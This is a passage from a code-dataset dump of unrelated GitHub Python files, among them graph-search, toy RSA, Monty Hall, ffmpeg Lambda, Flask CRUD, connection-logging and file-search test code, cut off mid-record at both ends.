%.3f'%cv_model.l1_ratio_)\nprint('Number of iterations %d'%cv_model.n_iter_)\n\n# train model with best parameters from CV\nmodel = ElasticNet(l1_ratio=cv_model.l1_ratio_, alpha = cv_model.alpha_, max_iter=cv_model.n_iter_, fit_intercept=True, normalize = True)\nmodel.fit(xtrain_scaled, ytrain)\n\nprint(r2_score(ytrain, model.predict(xtrain_scaled))) # training data performance\n\nprint(r2_score(ytest, model.predict(xtest_scaled))) # test data performance\n","repo_name":"abhishekd384/car-mpg-data","sub_path":"practice-regression total-mpg car dataset solved !.ipynb","file_name":"practice-regression total-mpg car dataset solved !.ipynb","file_ext":"py","file_size_in_byte":23868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"6646338941","text":"from collections import deque\n\n\ndef bfs(V, edges):\n waiting = deque()\n done = [-1] * V\n done[0] = 0\n for n in edges[0]:\n waiting.append([n, 0])\n while len(waiting):\n cur = waiting.popleft()\n cur_node = cur[0]\n cur_dist = cur[1]\n if done[cur_node] == -1:\n done[cur_node] = cur_dist + 1\n for n in edges[cur_node]:\n if done[n] == -1:\n waiting.append([n, cur_dist + 1])\n return done\n\n\nN, Q = map(int, input().split())\ne_list = [[] for i in range(N)]\nfor i in range(N - 1):\n a, b = map(int, input().split())\n e_list[a - 1].append(b - 1)\n e_list[b - 1].append(a - 1)\ndist = bfs(N, e_list)\n\nfor i in range(Q):\n c, d = map(int, input().split())\n tmp = dist[c - 1] - dist[d - 1]\n if tmp % 2 == 1:\n print(\"Road\")\n else:\n print(\"Town\")\n","repo_name":"NULLCT/LOMC","sub_path":"src/data/438.py","file_name":"438.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"30491206409","text":"import random\n\n\ndef is_Prime(n):\n \"\"\"\n Miller-Rabin primality test.\n\n A return value of False means n is certainly not prime. A return value of\n True means n is very likely a prime.\n \"\"\"\n if n != int(n):\n return False\n n = int(n)\n # Miller-Rabin test for prime\n if n == 0 or n == 1 or n == 4 or n == 6 or n == 8 or n == 9:\n return False\n\n if n == 2 or n == 3 or n == 5 or n == 7:\n return True\n s = 0\n d = n - 1\n while d % 2 == 0:\n d >>= 1\n s += 1\n assert (2 ** s * d == n - 1)\n\n def trial_composite(a):\n if pow(a, d, n) == 1:\n return False\n for i in range(s):\n if pow(a, 2 ** i * d, n) == n - 1:\n return False\n return True\n\n for i in range(8): # number of trials\n a = random.randrange(2, n)\n if trial_composite(a):\n return False\n\n return True\n\n\nmodulus = '00b92c49180402208fd2730415ed8ef7baea7715997cfd0c35baec1f'\nm = int(modulus, 16)\ne = 65537\nprivate_exponent = '459990abb72df981356fc7b45a38e3aaa3d4e13cacd2b3c67c9f49'\nd = int(private_exponent, 16)\nprint('d: ', d)\nprime1 = '0eca06b9fdfcc322789c135c9133'\np = int(prime1, 16)\nprint('p: ', p)\nprime2 = '0c8556bea0a3d7ac3d9347a9d165'\nq = int(prime2, 16)\nprint('q: ', q)\n\nn = p * q\nprint('n: ', n)\nphi_of_N = (p - 1) * (q - 1)\nprint('phi: ', phi_of_N)\n\nx = e * d\nres = x % phi_of_N\nprint('n = p . q')\nprint('e . q = 1 mod (p -1) . (q - 1) = ', res)\nprint('Is p prime?', is_Prime(p))\nprint('Is 1 prime?', is_Prime(q))\n","repo_name":"jesusmartinez/udel_crypto_lessons","sub_path":"module5/lesson3/part3/rsa_details.py","file_name":"rsa_details.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"34191032481","text":"from random import *\r\n'''\r\n一共三个门\r\n选手随机选一个\r\n主持人打开一个门后为羊的门\r\n\r\n对于选手,总结出有三种情况:\r\n第一次:选手选车 主持人开门:羊1或羊2 换:得到羊 不换:得到车\r\n第一次:选手选羊1 主持人开门:羊2 换:得到车 不换:得到羊1\r\n第一次:选手选羊2 主持人开门:羊1 换:得到车 不换:得到羊2\r\n\r\n则,逻辑算法为:\r\n 选手在随机选择一扇门后,判断这扇门后是不是车\r\n 如果是车,则不选择换才能够获得奖励\r\n 如果是羊,则选择换才能够获得奖励\r\n 最后看一共进行了多少次试验,并统计:\r\n 不更换答案时获得奖励的次数\r\n 更换答案时获得奖励的次数\r\n (一次循环即可得出)\r\n'''\r\ndoor = ['car','sheep1','sheep2']\r\nnochange,change = 0,0\r\nchoose = 0\r\ntime=int(input(\"请输入测试次数:\"))\r\nfor i in range(time):\r\n shuffle(door) #每一轮游戏时都对门后进行随机调整\r\n answer = choice(door) #选手随机选择一扇门\r\n if answer == 'car':\r\n #nochange 是在不换的情况下获得车的次数\r\n nochange+=1\r\n else:\r\n #change 是在换的情况下获得车的次数\r\n change+=1\r\nprint(\"不改变答案时获胜的概率:{:.2f}%\".format(nochange/time*100))\r\nprint(\"改变了答案时获胜的概率:{:.2f}%\".format(change/time*100))\r\n\r\n","repo_name":"Shawn-H-Wang/Python-Tutorial","sub_path":"4.6_羊车门问题.py","file_name":"4.6_羊车门问题.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"12774398345","text":"\"\"\"Test the integration of the package.\"\"\"\n\nfrom news.cross_validation import cv_main\nfrom news.constant import PACKAGE_ROOT_PATH\n\n\nclass TestIntegrationCrossValidation:\n \"\"\"\n Test the integration of the cross_validation.py module\n \"\"\"\n\n def setup_method(self):\n \"\"\"\n Setup the config for the test\n \"\"\"\n self.data_path = str(\n PACKAGE_ROOT_PATH.parent / \"tests\" / \"fixture\" / \"data\" / \"clean_data.csv\"\n )\n self.config = {\n \"test_size\": 0.2,\n \"ngram_range\": (1, 1),\n \"data_type\": \"benchmark\",\n \"max_len\": 70,\n \"weighted_loss\": False,\n \"n_epochs\": 10,\n }\n\n def test_cross_validation_main(self):\n \"\"\"\n Test the cross_validation_main function\n \"\"\"\n cv_main()\n assert True\n","repo_name":"ahmadrezaomidvar/news_classification","sub_path":"tests/integration/test_cross_validation.py","file_name":"test_cross_validation.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"74065792001","text":"import json\n\nimport os\nimport re\nimport subprocess\nimport shlex\nimport boto3\nimport sys\n\nfrom io import BytesIO\n\nBUCKET = \"marina-1\"\nFFPROBE_PATH = \"/opt/bin/ffprobe\"\nFFMPEG_PATH = \"/opt/bin/ffmpeg\"\nSIGNED_URL_TIMEOUT = 300\nUPLOAD_FOLDER = 'upload/'\nAWS_REGION = 'eu-central-1'\n\n\ndef build_s3_url (path):\n httpsPrefix = 'https://'\n return httpsPrefix + BUCKET + '.s3.' + AWS_REGION + '.amazonaws.com/' + path\n \ndef create_preview (s3_source_path, quality):\n\n # create a direct URL to the source video file\n s3_url = build_s3_url(s3_source_path)\n gifPath = s3_source_path.rsplit( \".\", 1 )[0] + '.gif'\n\n s3_client = boto3.client('s3')\n # ffmpeg -y -i shtusha.mp4 -vf \"fps=1/3,settb=1/1,setpts=N\" -r 3 preview.gif\n ffmpeg_cmd_preview = FFMPEG_PATH + \" -i \\\"\" + s3_url + \"\\\" -vf \\\"fps=\" + quality + \",settb=1/1,setpts=N\\\" -f gif -r 3 -y -\"\n # FFMPEG_PATH + \" -i \\\"\" + s3_source_path + \"\\\" -f gif -r 1 -loop 0 -pix_fmt rgb24 -y -\"\n\n command_preview = shlex.split(ffmpeg_cmd_preview)\n p1 = subprocess.run(command_preview, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n resp = s3_client.put_object(Body=p1.stdout, Bucket=BUCKET, Key=gifPath)\n\n print (p1.stderr)\n return gifPath\n\n# MAIN\ndef lambda_handler(event, context):\n\n if 'test' in event:\n return 'this is a test'\n \n if 'path' not in event or 'quality' not in event:\n return {\n 'statusCode': 404,\n 'body': json.dumps('Can not find file path or quality value!')\n }\n \n destination_key = create_preview(event['path'], event['quality'])\n\n return {\n 'statusCode': 200,\n 'body': destination_key\n }","repo_name":"Marina-August/gif-creator","sub_path":"lambda/video_lambda.py","file_name":"video_lambda.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"21446622165","text":"from flask import Flask, request, jsonify\n\nfrom database.db import initialize_db, db\nfrom database.models import Category, Product\nfrom database.schemas import ProductSchema, CategorySchema\n\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm.exc import UnmappedInstanceError\nimport os\n\n# Init app\napp = Flask(__name__)\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n# Database\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'db.sqlite')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n# Initialize db and marshmallow\ninitialize_db(app)\n\n# Create schemas\ncategory_schema = CategorySchema()\ncategories_schema = CategorySchema(many=True)\n\nproduct_schema = ProductSchema()\nproducts_schema = ProductSchema(many=True)\n\n\n# Getting the list of all categories\n@app.route('/categories', methods=['GET'])\ndef get_categories():\n all_categories = Category.query.all()\n result = categories_schema.dump(all_categories)\n\n return jsonify(result)\n\n\n# Getting the list of products of the concrete category\n@app.route('/categories//products', methods=['GET'])\ndef get_category(id):\n category = Category.query.get(id)\n\n category_products = Product.query.with_parent(category).all()\n return products_schema.jsonify(category_products)\n\n\n# Category CRUD\n@app.route('/categories', methods=['POST'])\ndef add_category():\n try:\n name = request.json['name']\n\n new_category = Category(name)\n\n db.session.add(new_category)\n db.session.commit()\n except IntegrityError:\n return jsonify({'message': 'This category already exist'})\n return category_schema.jsonify(new_category)\n\n\n@app.route('/categories/', methods=['GET', 'PUT', 'DELETE'])\ndef category_handler(id):\n category = Category.query.get(id)\n\n try:\n if request.method == 'PUT':\n name = request.json['name']\n\n category.name = name\n\n db.session.commit()\n\n return category_schema.jsonify(category)\n\n elif request.method == 'DELETE':\n db.session.delete(category)\n db.session.commit()\n\n return category_schema.jsonify(category)\n else:\n return category_schema.jsonify(category)\n\n except AttributeError:\n return jsonify({\"InternalServerError\": {\n \"message\": \"Something went wrong\",\n \"status\": 500\n }})\n except UnmappedInstanceError:\n return jsonify({\"UnmappedInstanceError\": {\n \"message\": \"Category does not exist\",\n \"status\": 404\n }})\n\n\n# Product CRUD\n@app.route('/products', methods=['POST'])\ndef add_product():\n try:\n name = request.json['name']\n comment = request.json['comment']\n price = request.json['price']\n category_id = request.json['category_id']\n\n new_product = Product(name, comment, price, category_id)\n\n db.session.add(new_product)\n db.session.commit()\n except IntegrityError:\n return jsonify({'IntegrityError': {\n 'message': 'This product already exist',\n 'status': 400\n }})\n except:\n return jsonify({'InternalServerError': {\n 'message': 'Something went wrong',\n 'status': 500\n }})\n return product_schema.jsonify(new_product)\n\n\n@app.route('/products/', methods=['GET', 'PUT', 'DELETE'])\ndef product_handler(id):\n product = Product.query.get(id)\n\n try:\n if request.method == 'PUT':\n name = request.json['name']\n comment = request.json['comment']\n price = request.json['price']\n category_id = request.json['category_id']\n\n product.name = name\n product.comment = comment\n product.price = price\n product.category_id = category_id\n\n db.session.commit()\n\n return product_schema.jsonify(product)\n\n elif request.method == 'DELETE':\n db.session.delete(product)\n db.session.commit()\n\n return product_schema.jsonify(product)\n\n else:\n return product_schema.jsonify(product)\n\n except AttributeError:\n return jsonify({\"InternalServerError\": {\n \"message\": \"Something went wrong\",\n \"status\": 500\n }})\n except UnmappedInstanceError:\n return jsonify({\"UnmappedInstanceError\": {\n \"message\": \"Product does not exist\",\n \"status\": 404\n }})\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"wilch3/python-rest","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"29944437006","text":"import os\nimport subprocess\nimport pytest\nfrom search_big_files import _parse_size as parse_size\nfrom search_big_files import _get_readable_size as get_readable_size\nfrom search_big_files import search_big_files\n\ndef test_parse_size():\n \"\"\"Test _parse_size function\"\"\"\n # normal cases\n assert parse_size(1) == 1*1024*1024\n assert parse_size(100000) == 100000*1024*1024\n assert parse_size(100.2) == int(100.2*1024*1024)\n assert parse_size(100.7) == int(100.7*1024*1024)\n assert parse_size('1B') == 1\n assert parse_size('200 B') == 200\n assert parse_size('20 b') == 20\n assert parse_size('1KB') == 1024\n assert parse_size('1.2 KB') == int(1.2 * 1024)\n assert parse_size('1.2 kb') == int(1.2 * 1024)\n assert parse_size('5MB') == 5* 1024 * 1024\n assert parse_size('1.5 MB') == int(1.5 * 1024 * 1024)\n assert parse_size('1.5 mb') == int(1.5 * 1024 * 1024)\n assert parse_size('1 GB') == 1 * 1024 * 1024 * 1024\n assert parse_size('2.5 GB') == int(2.5 * 1024 * 1024 * 1024)\n assert parse_size('2.5 gb') == int(2.5 * 1024 * 1024 * 1024)\n\n # error cases\n with pytest.raises(ValueError):\n not_a_string = [1234]\n parse_size(not_a_string)\n\n with pytest.raises(ValueError):\n parse_size('1Byte')\n\n with pytest.raises(ValueError):\n parse_size('1KByte')\n\n with pytest.raises(ValueError):\n parse_size('2PB')\n\n # rare cases\n # large integer (16 digits)\n assert parse_size(1234567890123456) == 1234567890123456*1024*1024\n\n # very large integer (30 digits)\n # one limitation of `parse_size` is that the parsed result of very large\n # integer could not be precise as it convert it to float at first.\n assert parse_size(123456789012345678901234567890) != 123456789012345678901234567890*1024*1024\n\n # infinite float\n with pytest.raises(ValueError):\n # 1.5e1000 should be treated as 'inf', and could not be parsed.\n parse_size(1.5e1000)\n\ndef test_get_readable_size():\n \"\"\"Test _get_readable_size function\"\"\"\n one_kb = 1024\n one_mb = one_kb * 1024\n one_gb = one_mb * 1024\n assert get_readable_size(1) == '1 byte'\n assert get_readable_size(50) == '50 bytes'\n assert get_readable_size(999) == '999 bytes'\n assert get_readable_size(1000) == '1 KB'\n assert get_readable_size(one_kb) == '1 KB'\n assert get_readable_size(one_kb * 70) == '70 KB'\n assert get_readable_size(one_kb * 70 + 510) == '70 KB'\n assert get_readable_size(one_kb * 70 + 512) == '70 KB'\n assert get_readable_size(one_kb * 70 + 513) == '71 KB'\n assert get_readable_size(one_kb * 910) == '910 KB'\n assert get_readable_size(one_kb * 1000) == '1.0 MB'\n assert get_readable_size(one_mb * 6) == '6.0 MB'\n assert get_readable_size(one_mb * 10 + 104857) == '10.1 MB'\n assert get_readable_size(one_mb * 500 + 576716) == '500.5 MB'\n assert get_readable_size(one_mb * 500 + 576717) == '500.6 MB'\n assert get_readable_size(one_mb * 1000) == '0.98 GB'\n assert get_readable_size(one_gb) == '1.00 GB'\n assert get_readable_size(one_gb * 3 + 241591910) == '3.22 GB'\n assert get_readable_size(one_gb * 3 + 241591911) == '3.23 GB'\n assert get_readable_size(one_gb * 1000) == '1000.00 GB'\n assert get_readable_size(one_gb * 1024) == '1024.00 GB'\n assert get_readable_size(one_gb * 2048) == '2048.00 GB'\n\ndef test_search_big_files(capsys):\n \"\"\"Test search_big_files function\"\"\"\n # Test files structure:\n # test_files\\\n # |--home\\\n # |--app\\\n # |--text_editor.out 2MB\n # |--tree.out 3KB\n # |--books\\\n # |--learn_emacs.out 1.2KB\n # |--learn_javascript.out 1KB\n # |--learn_python.out 2KB\n # |--videos\\\n # |--famaily\\\n # |--happy_birthday.out 10MB\n # |--happy_newyear.out 30MB\n # |--weekend.out 12MB\n # |--a.out 1B\n # |--zero.out 0B\n # |--link.out -> /tmp/not_existed_file_99999999\n # |--readme.out 300B\n # |--todo.out 200B\n # Create test folders and files.\n script_dir = os.path.dirname(os.path.realpath(__file__))\n os.chdir(script_dir)\n shell_script = './create_test_files.sh'\n process = subprocess.run([shell_script], check=True)\n if process.returncode != 0:\n assert False, 'Create test files failed.'\n\n def verify_test_result():\n expected_first_line = ('Searching files equal to or larger than '\n + f'{file_size_info} in folder: \"{test_files_root}\" ...')\n expected_last_line = 'Search is done.'\n\n search_big_files(test_files_root, file_size)\n captured = capsys.readouterr().out\n captured_list = captured.splitlines()\n captured_first_line = captured_list[0]\n captured_last_line = captured_list[-1]\n captured_result_files = set(captured_list[1:-1])\n\n assert captured_first_line == expected_first_line\n assert captured_last_line == expected_last_line\n assert captured_result_files == expected_result_files\n\n test_files_root = 'test_files/home'\n\n # Test search_big_files(root, '1B')\n file_size = '1B'\n file_size_info = '1 byte (1 bytes)'\n expected_result_files = {\n '1 byte (1 bytes) test_files/home/a.out',\n '200 bytes (200 bytes) test_files/home/todo.out',\n '300 bytes (300 bytes) test_files/home/readme.out',\n '2.0 MB (2,097,152 bytes) test_files/home/app/text_editor.out',\n '3 KB (3,072 bytes) test_files/home/app/tree.out',\n '1 KB (1,024 bytes) test_files/home/books/learn_javascript.out',\n '1 KB (1,228 bytes) test_files/home/books/learn_emacs.out',\n '2 KB (2,048 bytes) test_files/home/books/learn_python.out',\n '30.0 MB (31,457,280 bytes) test_files/home/videos/family/happy_newyear.out',\n '10.0 MB (10,485,760 bytes) test_files/home/videos/family/happy_birthday.out',\n '12.0 MB (12,582,912 bytes) test_files/home/videos/family/weekend.out',\n }\n verify_test_result()\n\n # Test search_big_files(root, '500B')\n file_size = '500B'\n file_size_info = '500 bytes (500 bytes)'\n expected_result_files = {\n '3 KB (3,072 bytes) test_files/home/app/tree.out',\n '1 KB (1,024 bytes) test_files/home/books/learn_javascript.out',\n '1 KB (1,228 bytes) test_files/home/books/learn_emacs.out',\n '2 KB (2,048 bytes) test_files/home/books/learn_python.out',\n '2.0 MB (2,097,152 bytes) test_files/home/app/text_editor.out',\n '10.0 MB (10,485,760 bytes) test_files/home/videos/family/happy_birthday.out',\n '12.0 MB (12,582,912 bytes) test_files/home/videos/family/weekend.out',\n '30.0 MB (31,457,280 bytes) test_files/home/videos/family/happy_newyear.out',\n }\n verify_test_result()\n\n # Test search_big_files(root, '1KB')\n file_size = '1 kb'\n file_size_info = '1 KB (1,024 bytes)'\n expected_result_files = {\n '3 KB (3,072 bytes) test_files/home/app/tree.out',\n '2.0 MB (2,097,152 bytes) test_files/home/app/text_editor.out',\n '1 KB (1,024 bytes) test_files/home/books/learn_javascript.out',\n '1 KB (1,228 bytes) test_files/home/books/learn_emacs.out',\n '2 KB (2,048 bytes) test_files/home/books/learn_python.out',\n '30.0 MB (31,457,280 bytes) test_files/home/videos/family/happy_newyear.out',\n '10.0 MB (10,485,760 bytes) test_files/home/videos/family/happy_birthday.out',\n '12.0 MB (12,582,912 bytes) test_files/home/videos/family/weekend.out',\n }\n verify_test_result()\n\n # Test search_big_files(root, '1.2KB')\n file_size = '1.2KB'\n file_size_info = '1 KB (1,228 bytes)'\n expected_result_files = {\n '2.0 MB (2,097,152 bytes) test_files/home/app/text_editor.out',\n '3 KB (3,072 bytes) test_files/home/app/tree.out',\n '1 KB (1,228 bytes) test_files/home/books/learn_emacs.out',\n '2 KB (2,048 bytes) test_files/home/books/learn_python.out',\n '10.0 MB (10,485,760 bytes) test_files/home/videos/family/happy_birthday.out',\n '12.0 MB (12,582,912 bytes) test_files/home/videos/family/weekend.out',\n '30.0 MB (31,457,280 bytes) test_files/home/videos/family/happy_newyear.out',\n }\n verify_test_result()\n\n # Test search_big_files(root, '10MB')\n file_size = '10 MB'\n file_size_info = '10.0 MB (10,485,760 bytes)'\n expected_result_files = {\n '10.0 MB (10,485,760 bytes) test_files/home/videos/family/happy_birthday.out',\n '30.0 MB (31,457,280 bytes) test_files/home/videos/family/happy_newyear.out',\n '12.0 MB (12,582,912 bytes) test_files/home/videos/family/weekend.out',\n }\n verify_test_result()\n\n # Test search_big_files(root, '10')\n file_size = '10'\n file_size_info = '10.0 MB (10,485,760 bytes)'\n expected_result_files = {\n '10.0 MB (10,485,760 bytes) test_files/home/videos/family/happy_birthday.out',\n '30.0 MB (31,457,280 bytes) test_files/home/videos/family/happy_newyear.out',\n '12.0 MB (12,582,912 bytes) test_files/home/videos/family/weekend.out',\n }\n verify_test_result()\n\n # Delete test files if succeeded.\n process = subprocess.run(['rm', '-rf', 'test_files'], check=True)\n if process.returncode != 0:\n assert False, 'Clear test files failed.'\n","repo_name":"aruku7230/python-exercises","sub_path":"search_big_files/test_search_big_files.py","file_name":"test_search_big_files.py","file_ext":"py","file_size_in_byte":9264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"4285245308","text":"from MongoDB_to_MySQL import *\n\nbuids = {}\n\n\ndef get_buids():\n counter = 0\n for entry in db[\"profiles\"].find():\n try:\n for buid in entry[\"buids\"]:\n buids[buid] = counter\n except KeyError:\n continue\n counter += 1\n print(\"Done with the setup of the buids.\")\n\n\ndef link_profile_session(entry):\n return buids[entry[\"buid\"][0]]\n","repo_name":"wail0152/Groeps-project-SP","sub_path":"foreign_key_links.py","file_name":"foreign_key_links.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"2144403397","text":"import os\nfrom functools import wraps\n\n\nUNCOMMON_EXTENSIONS = [\n '.tar'\n ]\n\n\ndef retrieve_extension(filename):\n for ext in UNCOMMON_EXTENSIONS:\n if ext in filename:\n index = filename.find(ext)\n return filename[index:]\n return os.path.splitext(filename)[1]\n\n\ndef human_readable(func):\n \"\"\"Decorator that converts a number of bytes to\n a human readable format\n \"\"\"\n @wraps(func)\n def wrapper(self):\n num_bytes = func(self)\n suffixes = ['B', 'KB', 'MB', 'GB', 'TB']\n suffixIndex = 0\n while num_bytes > 1024 and suffixIndex < 5:\n suffixIndex += 1\n num_bytes = num_bytes/1024\n final_suffix = suffixes[suffixIndex]\n return f'{num_bytes:.2f} {suffixes[suffixIndex]}'\n return wrapper\n\n\n\n\n","repo_name":"odesb/dwcfiles","sub_path":"dwcfiles/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"38717990435","text":"#Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution(object):\n res = []\n temp = []\n def binaryTreePaths(self, root):\n self.res = []\n self.temp = []\n \"\"\"\n :type root: TreeNode\n :rtype: List[str]\n \"\"\"\n self.inviteNode(root)\n return self.res\n def inviteNode(self, node):\n if node==None:\n return\n elif node.left == None and node.right == None:\n self.temp.append(node.val)\n t = []+self.temp\n self.res.append('->'.join(map(str, t)))\n self.temp.pop()\n else:\n\n self.temp.append(node.val)\n self.inviteNode(node.left)\n self.inviteNode(node.right)\n self.temp.pop()\n\nif __name__==\"__main__\":\n a = TreeNode(1)\n b = TreeNode(2)\n c = TreeNode(3)\n d = TreeNode(5)\n\n a.left = b\n a.right=c\n b.right = d\n solu = Solution()\n print(solu.binaryTreePaths(a))\n\n","repo_name":"longyueying/LeetCode","sub_path":"257.py","file_name":"257.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"6004045020","text":"import torch\n\nimport losses\n\n\nclass Optimizer:\n def __init__(self, name):\n self.w1 = torch.nn.Parameter(torch.FloatTensor([0.75]))\n self.w2 = torch.nn.Parameter(torch.FloatTensor([1.0]))\n self.name = name\n\n W = [self.w1, self.w2]\n\n if name == \"Adam\":\n self.opt = torch.optim.Adam(W, lr=1e-1)\n self.color = \"r\"\n elif name == \"Adagrad\":\n self.opt = torch.optim.Adagrad(W, lr=1e-1)\n self.color = \"b\"\n elif name == \"RMSprop\":\n self.opt = torch.optim.RMSprop(W)\n self.color = \"g\"\n elif name == \"SGD\":\n self.opt = torch.optim.SGD(W, lr=100)\n self.color = \"y\"\n self.w1_list = []\n self.w2_list = []\n self.loss_list = []\n\n def train_step(self):\n self.update()\n\n self.opt.zero_grad()\n loss = losses.compute_loss(self.w1, self.w2)\n loss.backward()\n self.opt.step()\n\n return loss\n\n def update(self):\n self.w1_list += [float(self.w1)]\n self.w2_list += [float(self.w2)]\n self.loss_list += [float(losses.compute_loss(self.w1, self.w2))]\n\n def plot(self, ax):\n ax.plot(self.w1_list,\n self.w2_list,\n self.loss_list,\n linewidth=0.5,\n label=self.name,\n color=self.color)\n ax.scatter(self.w1_list[-1],\n self.w2_list[-1],\n self.loss_list[-1],\n s=3, depthshade=True,\n label=self.name,\n color=self.color)\n","repo_name":"IssamLaradji/visualize_pytorch_optimizers","sub_path":"optimizers.py","file_name":"optimizers.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"3829933193","text":"import os\n\n\ndef jkmstsc():\n \"\"\"\n 检测连接到3389端口的ip地址,然后将连接信息写入到success.txt。\n :return: none\n \"\"\"\n mstsc = (os.popen('netstat -n -p tcp | find \"3389\"').readlines())\n date = os.popen('date /t').readlines()\n t = os.popen('time /t').readlines()\n\n for x in mstsc:\n if x.strip():\n with open('success.txt', 'a+') as file:\n if x not in file.read(): # 判断是否存在,防止数据多次写入\n file.write(f\"{date[0].strip()},{t[0].strip()},{x.strip()}\\n\")\n print(f\"成功记录连接信息:{date[0].strip()},{t[0].strip()},{x.strip()}\")\n\n\ndef jkestablished():\n \"\"\"\n 解析连接状态为ESTABLISHED的本地地址和远程地址,并记录连接信息。\\n\n 可以选择是否打印入侵者提示。\n :return: none\n \"\"\"\n connections = os.popen('netstat -n -p tcp').readlines()\n date = os.popen('date /t').readlines()\n t = os.popen('time /t').readlines()\n\n for connection in connections:\n if 'ESTABLISHED' in connection:\n parts = connection.split()\n if len(parts) >= 5:\n # local_address = parts[1]\n remote_address = parts[2]\n if ':' in remote_address:\n remote_ip, remote_port = remote_address.split(':')\n with open('success.txt', 'a+') as file:\n if remote_address not in file.read():\n file.write(f\"{date[0].strip()},{t[0].strip()},{remote_port},{remote_ip}\\n\")\n print(f\"成功记录信息:{date[0].strip()},{t[0].strip()},{remote_port},{remote_ip}\")\n if remote_ip != \"127.0.0.1\":\n print(f\"入侵者提示:IP地址为 {remote_ip} 的主机通过端口 {remote_port} 进行了连接!\")\n","repo_name":"rainsdm/ComputerSafetyCheck","sub_path":"Port_Check_3389.py","file_name":"Port_Check_3389.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"14244039565","text":"#Se ingresan dos números para calcular su suma de forma manual.\n\nfrom random import randint\n\ndef obt_array(num):\n array = [i for i in num]\n return array\n\ndef igualar_longitud(num1, num2):\n longitud, ceros = len(num1) - len(num2), \"\"\n for i in range(abs(longitud)):\n ceros += \" \"\n if longitud < 0:\n num1 = ceros + num1\n elif longitud > 0:\n num2 = ceros + num2\n return (num1, num2)\n\ndef calcular(num1, num2):\n j = len(num1)\n resultado = [\" \" for i in range(j)]\n acarreo = [\"0\" for i in range(j)]\n \n while j > 0:\n input(\"\\nPulse ENTER para continuar con la suma\")\n \n print(\" \", end=\"\")\n for i in acarreo:\n if i == \"0\": print(\" \", end=\"\")\n else: print(\" \" + i, end=\"\")\n \n print(\"\\n \"+ \" \".join(num1))\n print(\"+ \" + \" \".join(num2))\n print(u'\\u2500\\u2500' * (len(resultado)+1))\n\n if num1[j-1] == \" \":\n suma = str(int(num2[j-1]) + int(acarreo[j-1]))\n elif num2[j-1] == \" \":\n suma = str(int(num1[j-1]) + int(acarreo[j-1]))\n else:\n suma = str(int(num1[j-1]) + int(num2[j-1]) + int(acarreo[j-1]))\n \n if len(suma)>1:\n resultado[j-1] = suma[1]\n acarreo[j-2] = suma[0]\n if j == 1: resultado.insert(0, suma[0])\n else:\n resultado[j-1] = suma\n acarreo[j-2] = \"0\"\n\n if len(resultado)==len(num1): print(\" \", end=\"\")\n print(\" \".join(resultado))\n\n j -= 1\n\n\n#Obteniendo los dos números escritos por el usuario\nnum1 = input(\"Introduce el primer valor a sumar: \")\nnum2 = input(\"Introduce el segundo valor a sumar: \")\n#Igualamos las longitudes de los dos números\n(num1, num2) = igualar_longitud(num1, num2)\n#Pasamos los numeros de string a Arrays\nnum1, num2 = obt_array(num1), obt_array(num2)\ncalcular(num1, num2)\n\n\n\n\n\n","repo_name":"WilerMS/python-exercises","sub_path":"ej35.py","file_name":"ej35.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"73843533762","text":"import base64\nimport datetime as date\nimport hashlib\nimport json\nimport os\n\nfrom Crypto.Hash import SHA256\nfrom Crypto.Signature import DSS\n\nfrom src.block.merkle import findMerkleRoot\nfrom src.transaction import Transaction, create_coinbase_tx\nfrom src.wallet import get_private_key, get_public_key\n\n# define variables\nversion = \"00000001\" # version\n\n\nclass Block(object):\n def __init__(self, previous_hash=None, transactions=None):\n \"\"\"\n Constructor for Block class\n Block Header: Key info on block (80 bytes)\n Block Size: Size of the block (4 bytes)\n Transaction Count: Number of transactions (1-9 bytes)\n Transactions: Transactions in the block (variable size)\n\n Input:\n previous_hash - a hash of previous block\n transactions - a list of transactions included in block\n merkle_root - a hash of all the hashed transactions in the merkle tree\n\n \"\"\"\n\n # define block header attributes\n self.version = version.encode('utf8') # 4 bytes\n self.previous_hash = previous_hash.encode('utf8') # 32 bytes\n self.merkle_root = self.merkle_root(transactions) # 32 bytes\n self.timestamp = self.block_timestamp() # 4 bytes\n self.nonce = None # 4 bytes\n self.target = None # 4 bytes\n\n # define 